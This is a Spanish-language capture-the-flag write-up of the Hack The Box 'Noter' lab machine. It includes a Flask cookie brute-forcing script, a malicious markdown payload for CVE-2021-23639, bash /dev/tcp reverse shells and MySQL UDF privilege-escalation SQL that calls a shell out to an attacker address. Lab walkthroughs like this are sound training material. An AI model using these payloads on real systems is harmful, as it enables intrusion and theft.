Home Hackthebox Writeup Noter
Post
Cancel

Hackthebox Writeup Noter

Overview:

  • User validation by Error Messages in Login process.
  • Brute force default Flask’s Session Management.
  • User passwords, Backup code, database credentials by Information Leakage.
  • Remote code execution CVE-2021-23639 (foothold).
  • MySQL running like root User-Defined function to RCE) (privilege escalation).

NoterLogo

OSIPRelease DateDifficultyPoints
Linux10.10.11.16007 May 2022Medium30

Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:

1
2
3
4
5
6
7
8
> ping -c1 10.10.11.160
PING 10.10.11.160 (10.10.11.160) 56(84) bytes of data.
64 bytes from 10.10.11.160: icmp_seq=1 ttl=63 time=108 ms
                                          \______________________ Linux Machine
--- 10.10.11.160 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
          \_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 106.937/106.937/106.937/0.000 ms

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Enumeration


Con nmap realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:

1
2
3
4
5
6
7
8
9
10
11
12
❯ nmap -p- -sS --min-rate 5000 -n -Pn 10.10.11.160
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 16:20 -05
Nmap scan report for 10.10.11.160
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
		\___________ File Transfer Protocol
22/tcp   open  ssh
		\___________ Secure Shell Protocol
5000/tcp open  upnp
		\___________ Universal Plug and Play Protocol

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-Pn : Omitir el descubrimiento de hosts y continuar con el escaneo de puertos, incrementa velocidad del escaneo

Ahora realizamos un escaneo a profundidad de los puertos 21(FTP) - 22(SSH) - 5000(UPNP):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ nmap -p21,22,5000 -sCV 10.10.11.160 -oN targetTCP
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 16:26 -05
Nmap scan report for 10.10.11.160
Host is up (0.11s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Explicación de parámetros :

-p <port_1,port_2,...> : Indicamos que puertos queremos escanear

-sCV (Fusión de parámetros -sC -sV)

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Empezamos por el puerto 21(FTP) intentando logearnos con el método Anonymous FTP pero no logramos nada. Por otro lado, ya que no disponemos de credenciales válidas omitimos el puerto 22(SSH)

Algo importante con el escaneo de nmap es que logramos visualizar la versión de cada servicio y con ello podemos darnos una idea a que distribución de Linux nos estaríamos enfrentando. Por ejemplo, al buscar en internet la versión OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 seguido de launchpad (plataforma opensource que proporciona source code hosting entre otras funciones) y con ellos logramos ver que podriamos estar frente a un máquina de distro Ubuntu con el codename o release Focal

Solo nos queda escanear el puerto 5000(UPNP) que ahora lo detecta como servicio (HTTP) y con ello buscamos sus tecnologías:

Usando whatweb

1
2
❯ whatweb http://10.10.11.160:5000
http://10.10.11.160:5000 [200 OK] Bootstrap[3.3.7], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.2 Python/3.8.10], IP[10.10.11.160], Python[3.8.10], Script[text/javascript], Title[Noter], Werkzeug[2.0.2]

Si quieres una opción gráfica puedes usar en tu navegador la extensión Wappalyzer y ver las tecnologías

Es importante comentar que probemos diferentes herramientas y así confirmar nuestros resultados como también encontrar nueva información:

Usando webtech

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ webtech -u http://10.10.11.160:5000 --json | jq
{
  "http://10.10.11.160:5000": {
    "tech": [
      {
        "name": "Python",
        "version": "3.8.10"
      },
      {
        "name": "Bootstrap",
        "version": "3.3.7"
      },
      {
        "name": "Flask", <---------- New information
        "version": "2.0.2"
      }
    ],
    "headers": []
  }
}

Puedes instala la herramienta de python : pip install webtech

Observamos muchas tecnologías asociadas al lenguaje Python, así que ya podemos tener una idea.

Si fuera el caso que no encontramos el uso del microframework Flask, podemos deducir de su uso ya que por defecto Flask usa el puerto 5000 para lanzar el servidor de tu aplicación web

Siguiendo con la fase de reconocimiento pasemos a ver la interfaz de la web:

Ingresando con Firefox

HTTPWeb

De primeras observamos una aplicación para poder tomar notas. Ya que podemos logearnos intentamos usar credenciales por defecto (admin:admin, administrator:administrator, guest:guest). Solo logramos observar un mensaje de credenciales inválidas:

InvalidCredentials

Estos mensajes son importantes y podemos tomar la ventaja de validar usuarios respecto al mensaje que vemos en pantalla. Por ejemplo, nos creamos un usuario y escribimos una contraseña incorrecta para ver como responde la web:

InvalidLogin

Ojito, podemos llegar a la conlusión que podemos validar usuarios en la aplicación respecto al mensaje de error. Entonces procedemos a “Fuzzear” posibles usuarios:

Usando un script en bash

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ cat enumerate_users.sh
#!/bin/bash

list=$(locate xato-net-10-million-usernames-dup.txt)

while read -r user; do
        response=$(curl -si -d "username=$user&password=dadaada" -i http://10.10.11.160:5000/login | grep Invalid | awk -F">" '{print $2}' | awk -F"<" '{print $1}')
        if [[ $response == "Invalid login" ]]; then
                echo $user ":" $response
        fi;
done < $list; wait
❯ bash ./enumerate_users.sh
blue : Invalid login <-------- Found user!

Puedes encontrar el pequeño script en mi repositorio: https://github.com/E1P0TR0

Con la herramienta wfuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ wfuzz -c -t 50 -w /usr/share/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -d 'username=FUZZ&password=badpassword' --ss 'Invalid login' http://10.10.11.160:5000/login
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.160:5000/login
Total requests: 624370

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                               
=====================================================================

000000113:   200        68 L     110 W      2033 Ch     "blue" <------- Found user!

Ambos casos encontramos al usuario blue, así que lo tenemos en cuenta para mas adelante. Ahora veamos el funcionamiento de la aplicación web

En resumen, podemos agregar, almacenar, editar y ver nuestras notas. Además al agregar una nota o ver en la herramienta Wappalyzer encontramos el uso de la tecnología CKEditor 4.6.2 (editor de texto para páginas web)

A pesar de saber la versión y sus respectivas vulnerabilidades, solo encontramos un XSS Attack en el tag html <textarea> al agregar contenido a una nota a pesar que se aplique ACF (Advanced Content Filter):

XSSAttack

Después de mucha búsqueda no logre aprovecharme de esta posible brecha, en tal caso puede ser un Rabbit Hole, el cuál podemos tomarlo como una situación donde no llegaremos a algo en concreto y solo perderemos tiempo.

Mirando para otra dirección, ya que tenemos una cuenta, es probable que tengamos una Cookie de sesión. Para ver esta cookie podemos presionar las teclas Ctrl+Shift+I ó F12 (pestaña storage):

Cookie

Observando el formato parece un JWT (Json Web Token). Sin embargo, averiguando más y sabiendo las tecnologías que se usan, llegamos a la conlusión que se trata de Flask’s Session Management. En resumen, Flask por defecto usa “cookies firmadas” para almacenar la información de la sesión de un cliente en la aplicación. A pesar que no están encriptadas (solo codificadas en base64), están firmadas con una secret key, y tienen el siguiente formato:

FlaskCookie

Session data : La data actual de la sesión

Timestamp : Avisa al servidor la última vez que la data fue actualizada (puede ser el la hora actual)

Cryptographic hash : Hash calculado con tu data, el timestamp y la “secret key” del servidor

En nuestro caso tenemos el siguiente payload:

1
2
3
4
5
6
❯ echo eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWFyc3MifQ.YtNqqg.zx1mPLX7-d2VQgWsQzx8K78zBgc | base64 -d | jq
base64: invalid input
{
  "logged_in": true,
  "username": "marss"
}

Con toda la información obtenida y sabiendo que tenemos el nombre de un usuario válido blue, solo tenemos que encontrar la correcta “secret key” para poder generar su respectiva cookie y obtener su sesión

Foothold


Buscando en internet encotramos que existe una herramienta llamada flask-unsign que nos automatiza todo el proceso hallando la secret key y generando una nueva con el payload que especifiquemos

Aquí puede encontrar la herramienta flask-unsign: https://pypi.org/project/flask-unsign/

Por gusto propio y a manera de aprender y entender cuál es el proceso para obtener esa preciada secret key, hice un scrip en python en el cuál le pasas la cookie y el nuevo payload que deseas insertar para que por Brute force consiga la secret key y la nueva cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import sys, signal, argparse, json, time, hashlib
from pwn import *
from itsdangerous import URLSafeTimedSerializer, TimestampSigner, BadSignature
from flask.json.tag import TaggedJSONSerializer

# ctrl + c
def signal_handler(signum, frame):
    log.failure("Interruption"); sys.exit()

signal.signal(signal.SIGINT, signal_handler)

# arguments
parser = argparse.ArgumentParser(description='Brute force attack "Secret key" of a Flask session cookie by default')
parser.add_argument('-cookie', type=str, required=True, help='session cookie to crack')
parser.add_argument('-payload', type=str, required=True, help="""new payload to create a valid session cookie ( '{"key":"value"}' )""")

args = parser.parse_args()

# create wordlist
def load_wordlist():
    with open('all.txt', 'r') as file:
        wordlist = file.readlines()
    return wordlist

# bruteforce cookie
def bruteforce_cookie(wordlist):
    p = log.progress('Starting Brute force attack')
    time.sleep(1)
    for secret in wordlist:
        secret = secret.strip('\n')
        p.status('{}'.format(secret))
        try:
            serializer = URLSafeTimedSerializer(
                        secret_key=secret,
                        salt='cookie-session',
                        serializer=TaggedJSONSerializer(),
                        signer=TimestampSigner,
                        signer_kwargs={
                                'key_derivation' : 'hmac',
                                'digest_method' : hashlib.sha1
                            }
                        ).loads(args.cookie)
            log.info('Payload : {}'.format(serializer))
        except BadSignature:
            continue
        log.success("Secret key : {}".format(secret))
        return secret

# craft cookie
def create_cookie(secret_key):
    time.sleep(1)
    p = log.progress('Creating new cookie with the payload')
    p.status(args.payload)
    try:
        serializer =  URLSafeTimedSerializer(
                            secret_key=secret_key, 
                            salt='cookie-session', 
                            serializer=TaggedJSONSerializer(), 
                            signer=TimestampSigner, 
                            signer_kwargs={
                                'key_derivation':'hmac',
                                'digest_method': hashlib.sha1
                                }
                            ).dumps(json.loads(args.payload))
        log.success('Cookie : {}'.format(serializer))
    except Exception as e:
        p.failure('{} ocurred'.format(e))

if __name__ == '__main__':
    key = bruteforce_cookie(load_wordlist())
    create_cookie(key)

# References
#---------------------------------------------------
#https://github.com/Paradoxis/Flask-Unsign
#https://github.com/Paradoxis/Flask-Unsign-Wordlist

Puedes encontrar el script y dependencias en mi repositorio: https://github.com/E1P0TR0

Ahora solo le pasamos los respectivos parámetros y logramos obtener la cookie del usuario blue:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 brute_force_cookie.py -h
usage: brute_force_cookie.py [-h] -cookie COOKIE -payload PAYLOAD

Brute force attack "Secret key" of a Flask session cookie by default

optional arguments:
  -h, --help        show this help message and exit
  -cookie COOKIE    session cookie to crack
  -payload PAYLOAD  new payload to create a valid session cookie ( '{"key":"value"}' )
❯ python3 brute_force_cookie.py -cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWFyc3MifQ.YtOJZw.Fy6nzvuXjW_P69IauxCp1WuHZbU -payload '{"logged_in":true,"username":"blue"}'
[↑] Starting Brute force attack: ********
[*] Payload : {'logged_in': True, 'username': 'marss'}
[+] Secret key : ********
[.] Creating new cookie with the payload: {"logged_in":true,"username":"blue"}
[+] Cookie : eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YtOJ7g.ArNZWl3Agmq5rPAt4QJAz6ybBIs

Ahora solo copiamos la nueva cookie en la pestaña de storage de las herramientas de desarrollador (como vimos anteriormente), actualizamos y ya estaremos en la sesión del usuario blue:

BLUESession

Empezamos a inspeccionar y en Dashboard encontramos una nota con un acordatorio de cosas que hacer antes del fin de semana, y en ella dice Delete the password file, pero a que se refiere?, sigamos buscando

En la sección de notas encontramos una de agradecimiento de parte del usuario ftp_admin hacia nuestro usuario por adquirir la membresía premium y con ello el acceso a su servicio FTP, además de sus respectivas credenciales.

Sin pensarlo nos dirigimos al puerto 21(FTP) que obtuvimos en nuestro escaneo y entramos con las credenciales:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:potro): blue
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||24962|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
local: policy.pdf remote: policy.pdf
229 Entering Extended Passive Mode (|||54826|)
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
100% |*****************************************************************************************************| 12569        2.59 MiB/s    00:00 ETA
226 Transfer complete.
12569 bytes received in 00:00 (108.48 KiB/s)
ftp> exit
221 Goodbye.

Logramos encontrar un archivo policy.pdf, así que lo descargamos con el comando get <file_name> a nuestra máquina para examinarlo y encontramos, como dice su nombre, La políticas de contraseña de la aplicación Noter

PoliciesNOTER

Después de la lectura destacamos el siguiente enunciado:

DeafaultPASSW

Observamos que el usuario blue mantiene el nombre y contraseña con el formato por defecto. Entonces, si logramos entrar entrar con esas credenciales al servicio FTP, y además ya que encontramos al usuario administrador del servicio FTP de la aplicación Noter ftp_admin, es tan descuidado de no haber cambiado su contraseña?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:potro): ftp_admin
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||60125|)
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> mget *
mget app_backup_1635803546.zip [anpqy?]? y
229 Entering Extended Passive Mode (|||33048|)
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
100% |*****************************************************************************************************| 25559      189.43 KiB/s    00:00 ETA
226 Transfer complete.
25559 bytes received in 00:00 (101.20 KiB/s)
mget app_backup_1638395546.zip [anpqy?]? y
229 Entering Extended Passive Mode (|||8514|)
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
100% |*****************************************************************************************************| 26298      220.77 KiB/s    00:00 ETA
226 Transfer complete.
26298 bytes received in 00:00 (112.80 KiB/s)
ftp> exit
221 Goodbye.

De locos, encontramos dos archivos .zip de posibles backups, de nuevo los descargamos a nuesta máquina con el comando mget *, los descomprimimos 7z x <file_name> -o<output_directory> y procedemos a estudiar su contenido

Después de analizarlos, llegamos a la conclusión que efectivamente son respaldos de la aplicación Noter:

En el primer archivo que es de Noviembre01 encontramos de cara unas credenciales de un servidor MySQL del usuario root

1
2
3
4
5
6
7
8
  14   │ 
  15   │ # Config MySQL
  16   │ app.config['MYSQL_HOST'] = 'localhost'
  17   │ app.config['MYSQL_USER'] = 'root'
  18   │ app.config['MYSQL_PASSWORD'] = 'Nildogg36'
  19   │ app.config['MYSQL_DB'] = 'app'
  20   │ app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
  21   │ 

En el segundo archivo, que es el más actualizado denuevo encontramos otras credenciales de la base de datos:

1
2
3
4
5
6
7
8
       |
  15   │ # Config MySQL
  16   │ app.config['MYSQL_HOST'] = 'localhost'
  17   │ app.config['MYSQL_USER'] = 'DB_user'
  18   │ app.config['MYSQL_PASSWORD'] = 'DB_password'
  19   │ app.config['MYSQL_DB'] = 'app'
  20   │ app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
  21   │ 

Podríamos usar la credenciales pero recordemos que al realizar nuestro escaneo no encontramos el puerto por defecto de MySQL 3306/TCP

Lo más lógico que podemos hacer ahora es examinar el código de la aplicación y encontrar alguna bracha o fallo que podeamos explotar. Viendo el código observamos una función interesante export_note_remote():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}" <--------- Important!
                    subprocess.run(command, shell=True, executable="/bin/bash")

                    if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                    return render_template('export_note.html', error="Error occured!")


            else:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
            
        except Exception as e:
            return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    else:
        abort(403)

Observamos que se ejecuta el archivo en Javascript md-to-pdf.js, lo buscamos en la ruta que indica:

1
2
3
4
5
6
const { mdToPdf } = require('md-to-pdf');


(async () => {
await mdToPdf({ content: process.argv[2] }, { dest: './misc/attachments/' + process.argv[3] + '.pdf'});
})();

Por el nombre podemos deducir que se trata, en resumen md-to-pdf es una herramienta CLI (Command Line Interface) que permite convertir archivos de formato markdown a pdf.

Primero debemos tener en cuenta que al crear un proyecto e instalar las dependencias y librerías necesarias en la carpeta node_modules, también se crea un archivo package.json en el cúal se almacena el nombre de nuestro proyecto, como también todas las versiones de los paquetes que depende. Además, existe otro archivo llamado package_lock.json que tiene el mismo propósito que el anterior pero con la diferencia que al momento que alguien clone nuestro proyecto, este instalará las dependencias con las versiones que están en el archivo a pesar de que existan nuevas versiones

Con los conceptos más claro ya procedemos a analizar el pequeño código:

En la primera línea solo importa el módulo md-to-pdf, osea la herramienta de la que hablabamos

Luego usa una arrow function ()=> asíncrona async / await (podemos tomarlo como una ejecución en paralelo), que usa el módulo md-to-pdf

Para usar este módulo le pasa como contenido el texto de la nota que queremos importar $'{r.text.strip()}' y lo guarda en la ruta ./misc/attachments con un número random como nombre y de tipo .pdf

Ahora el punto es como podemos explotar eso. Como mencioné antes, podemos saber la versión exacta de la herramienta md-to-pdf que se está usando, así que revisamos en el archivo package_lock.json y la encontramos:

1
2
3
4
5
❯ cat package-lock.json | grep md-to-pdf -A 1
    "md-to-pdf": {
      "version": "4.1.0", <-------- Vulnerable?
      "resolved": "https://registry.npmjs.org/md-to-pdf/-/md-to-pdf-4.1.0.tgz",
      "integrity": "sha512-5CJVxncc51zkNY3vsbW49aUyylqSzUBQkiCsB0+6FlzO/qqR4UHi/e7Mh8RPMzyqiQGDAeK267I3U5HMl0agRw==",

Con la version procedemos a buscar vulnerabilidades y encontramos el CVE-2021-23639 el cuál nos permite una ejecución remota de comandos gracias a que la librería gray-matter (que permite convertir string un archivo de objetos) se usa por defecto y no se deshabilita el intérprete de comandos Javascript, lo cuál nos permite pasar un archivo formato markdown y con su respectiva sintáxis ejecutar código javascript

Archivo .md malicioso

1
2
3
4
5
6
❯ cat pwned.md
---js

        ((require("child_process")).execSync("echo {b64encoded command} | /usr/bin/base64 -d | /bin/bash"))

---

En resumen, se usa el módulo child_process que nos permite iniciar procesos secundarios y usando uno de sus métodos, en este caso execSync, nos permitira ejecutar comandos

Si queremos ejecutar comandos complejos como una reverse shell, por temas de interpretación de simbolos (&) o comillas (“’’”), es recomendable primero codificar el comando en base64, luego decodificarlo e interpretarlo con una bash

El proceso es sencillo:

Una vez creado este archivo, iremos a la sesión del usuario blue y como tenemos membresía VIP usaremos la opción Export Notes

Compartimos un servicio http para compartir el archivo (e.g ruby -run -e httpd . -p80)

Nos pondemos en escucha en el puerto especificado para recibir la shell (e.g nc -lvnp 1234)

Luego en el apartado Export directly from cloud subiremos nuestro Archivo malicioso (e.g http://ip:port/file_name)

Al subir el archivo la máquina usará la función export_note_remote(), usará la herramienta md-to-pdf y con ello ejecutara el comando especificado (reverse shell code)

Especificando como commando un reverse shell 'bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"' y siguiendo los pasos anteriores, recibiremos una shell como el usuario svc y obtenemos la primera flag

1
2
3
4
5
6
svc@noter:~/app/web$ whoami
whoami
svc
svc@noter:~/app/web$ find / -name user.txt 2>/dev/null | xargs ls -l
find / -name user.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root svc 33 Jul 16 20:13 /home/svc/user.txt

No olvidar hacer un tratamiendo completo de la TTY para mayor comodidad y movimiento en el sistema

Privilege Escalation


Empezamos con un reconocimiento básico del sistema para saber la distribución (Debian, Ubuntu, Fedora) y su versión, la arquitectura (32-bit, 64-bit), en que equipo de la red nos encontramos (máquina víctima, container), que procesos corren por detrás (cron, crontab, jobs), etc

Por ejemplo, listando las conexiones de entrada o salida en el sistema (o puertos abiertos), logramos observar el famoso puerto 3306(mysql):

1
2
3
4
5
6
7
8
9
10
11
12
svc@noter:~/app/web$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      1262/python3        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::46253                :::*                    LISTEN      221229/node         
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Observamos que la dirección es 127.0.0.1:3306 lo cuál indica que solo sera accesible desde la propia máquina

Con está información logramos entrar con las credenciales de antes DB_user:DB_password, root:Nildogg36

En el primer caso no encontramos nada interesante

Pero en el segundo caso somos usuarios privilegiados, lo cuál puede ser peligroso

Asi que enumeramos un poco para ver a que nos enfrentamos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
svc@noter:~/app/web$ mysql -uroot -pNildogg36 -e "select version();"
+----------------------------------+
| version()                        |
+----------------------------------+
| 10.3.32-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
svc@noter:~/app/web$ mysql -uroot -pNildogg36 -e "select user();"
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
svc@noter:~/app/web$ mysql -uroot -pNildogg36 -e "show databases;"
+--------------------+
| Database           |
+--------------------+
| app                |
| information_schema |
| mysql              |
| performance_schema |
| test               |
+--------------------+

Vemos que somos root y además la base de datos mysql que almacena los usuarios y sus privilegios, así que vemos que privilegios tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
svc@noter:~/app/web$ mysql -uroot -pNildogg36 -e "select * from mysql.user where user = substring_index(user(), '@', 1)" -E                                                          [144/144]
*************************** 1. row ***************************                                                                                                                                
                  Host: localhost                                                                                                                                                             
                  User: root                                                                                                                                                                  
              Password: *937440AD99CBB4A102402708AA43B689818489C8                                                                                                                             
           Select_priv: Y                                                                      
           Insert_priv: Y                      
           Update_priv: Y                                                                      
           Delete_priv: Y                                                                      
           Create_priv: Y                                                                      
             Drop_priv: Y                      
           Reload_priv: Y                      
         Shutdown_priv: Y                      
          Process_priv: Y                      
             File_priv: Y                      
            Grant_priv: Y                      
       References_priv: Y                      
            Index_priv: Y                      
            Alter_priv: Y                      
          Show_db_priv: Y                      
            Super_priv: Y                      
 Create_tmp_table_priv: Y                      
      Lock_tables_priv: Y                      
          Execute_priv: Y                      
       Repl_slave_priv: Y                      
      Repl_client_priv: Y                      
      Create_view_priv: Y                                                                      
        Show_view_priv: Y                      
   Create_routine_priv: Y                                                                      
    Alter_routine_priv: Y                      
      Create_user_priv: Y                                                                      
            Event_priv: Y                      
          Trigger_priv: Y                                                                      
Create_tablespace_priv: Y                      
   Delete_history_priv: Y                                                                      
              ssl_type:                        
            ssl_cipher:                        
           x509_issuer:                        
          x509_subject:                        
         max_questions: 0                      
           max_updates: 0                      
       max_connections: 0                      
  max_user_connections: 0                      
                plugin:                        
 authentication_string:                        
      password_expired: N                      
               is_role: N                      
          default_role:                        
    max_statement_time: 0.000000

Usamos las flags -e <query> y -E para directamente executar una consulta y ver el output en formato vertical respectivamente

En mi caso no estaba tan familiarizado con estos permisos, así que buscando en internet sobre posibles vulnerabilidades al estar registrados como root en una base de datos encontramos en la famosa “Biblia de Hackers” (Hacktricks) una vulnerabilidad para ejecutar comandos RCE (Remote Code Execution) por medio del concepto User-Defined function y una librería que permite comunicarse con el sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-- Use a database
use mysql;
-- Create a table to load the library and move it to the plugins dir
create table npn(line blob);
-- Load the binary library inside the table
-- You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
-- Get the plugin_dir path
show variables like '%plugin%';
-- Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
-- dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
-- Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
-- Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Información de la vulnerabilidad en https://book.hacktricks.xyz/

Explicación mas detallada de la vulnerabilidad MYSQL UDF Explotation

Explotación:

Antes de todo buscamos la librería maliciosa y la pasamos a la máquina víctima, para ello la buscamos en nuestra máquina con locate "*lib_mysqludf*" y escogemos la correcta de acuerdo al OS (Operative System) y arquitectura del objetivo (32-bit, 64-bit)

1
2
3
4
5
6
7
8
9
❯ locate "*lib_mysqludf*"
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
/usr/share/sqlmap/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
/usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_

En cualquier caso que no la encuentres puedes buscarla con searchsploit mysql UDF o también en la misma web https://www.exploit-db.com/exploits/1518

Ahora Entramos como root a la base de datos mysql

1
2
3
svc@noter:~/tmp$ mysql -s -uroot -pNildogg36
MariaDB [(none)]> use mysql;
MariaDB [mysql]>

Creamos una tabla llamada privesc que tendrá un campo de tipo blob (tipo de dato para almacenar objetos binarios como archivos, imagenes, etc)

1
MariaDB [mysql]> create table privesc(library blob);

Insertamos dentro de nuestra tabla la librería lib_mysqludf_sys_64.so con la función load_file(<path_file>)

1
MariaDB [mysql]> insert into privesc values(load_file('/tmp/lib_mysqludf_sys_64.so'));

Tenga en cuenta pasar la ruta completa y exacta de la libería para no tener errores que te vuelen la cabeza, estamos?

Ahora debemos colocar la librería en el directorio donde se encuentran los plugins de MariaDB y así poder usarla

1
2
3
4
5
6
7
MariaDB [mysql]> select @@plugin_dir;
+---------------------------------------------+
| @@plugin_dir                                |
+---------------------------------------------+
| /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
+---------------------------------------------+
MariaDB [mysql]> select library from privesc into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';

Luego queda crear nuestra función, pero para ello debemos saber el nombre de la función, por ello usamos ghidra para analizar la librería

GHidraUdf

